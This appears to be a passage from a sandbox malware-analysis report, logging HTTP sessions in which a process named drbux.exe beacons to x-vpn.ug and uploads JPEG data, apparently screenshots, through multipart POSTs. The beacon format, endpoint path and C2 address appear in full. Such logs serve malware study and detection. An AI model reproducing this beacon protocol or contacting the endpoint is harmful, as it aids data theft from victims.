Jul 19, 2021 18:36:35.451679945 CEST	17701	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.6	49991	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:35.410619020 CEST	17677	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:35.499847889 CEST	17704	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.6	49992	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:35.692145109 CEST	17763	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:35.793164968 CEST	17763	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.6	49993	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:35.934416056 CEST	17764	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:35.934703112 CEST	17764	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:35.935178995 CEST	17774	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:35.935496092 CEST	17777	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:36.032465935 CEST	17780	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:36.034085989 CEST	17783	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:36.034555912 CEST	17786	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:36.034635067 CEST	17788	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:36.034902096 CEST	17791	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:36.035511017 CEST	17801	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:36.035573959 CEST	17803	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:36.364902973 CEST	17862	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.6	49994	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:35.986108065 CEST	17777	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:36.094044924 CEST	17803	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.6	49995	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:36.297692060 CEST	17862	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:36.420775890 CEST	17863	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.6	49996	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:36.615690947 CEST	17863	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:36.696633101 CEST	17877	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.6	49997	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:36.679889917 CEST	17864	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6b25da1d7c79a47dd21b1764379d56a3 Host: x-vpn.ug Content-Length: 101406 Cache-Control: no-cache
Jul 19, 2021 18:36:36.680003881 CEST	17864	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 62 32 35 64 61 31 64 37 63 37 39 61 34 37 64 64 32 31 62 31 37 36 34 33 37 39 64 35 36 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6b25da1d7c79a47dd21b1764379d56a3Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:36.680198908 CEST	17874	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:36.680322886 CEST	17877	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:36.777651072 CEST	17878	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:36.778017998 CEST	17881	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:36.778167009 CEST	17884	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:36.778316975 CEST	17886	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:36.778445959 CEST	17889	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:36.778747082 CEST	17892	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:36.778836966 CEST	17894	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:36.778964043 CEST	17897	OUT	Data Raw: 24 7d 38 1a 8f 34 e0 68 11 20 34 e0 6a 30 69 d9 f4 a6 43 44 a0 d3 c3 54 20 d3 c1 a6 43 44 e1 a9 c0 83 d4 66 a1 06 9c 0d 2b 10 d0 f3 0a 37 6c 53 7e cb 9e 86 94 1a 90 36 2a 5d d1 37 92 21 f2 18 76 a6 ec c1 ab 8a f5 30 68 db ef a0 35 2e 6d 02 9e ba Data Ascii: $}84h 4j0iCDT CDf+7lS~6]7!v0h5.mhj+CiRFVh'2L2+YTEQ,r>$oOlTL<V%PC=:CFV8=*"rJLVlmJ7C2NG12Ey]XZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.6	49998	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:36.907156944 CEST	17955	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:37.015574932 CEST	17967	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49761	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:32.743069887 CEST	3266	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:32.743371010 CEST	3266	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:32.743452072 CEST	3276	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:32.743671894 CEST	3279	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:32.836644888 CEST	3285	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:32.836678982 CEST	3287	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:32.838191032 CEST	3290	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
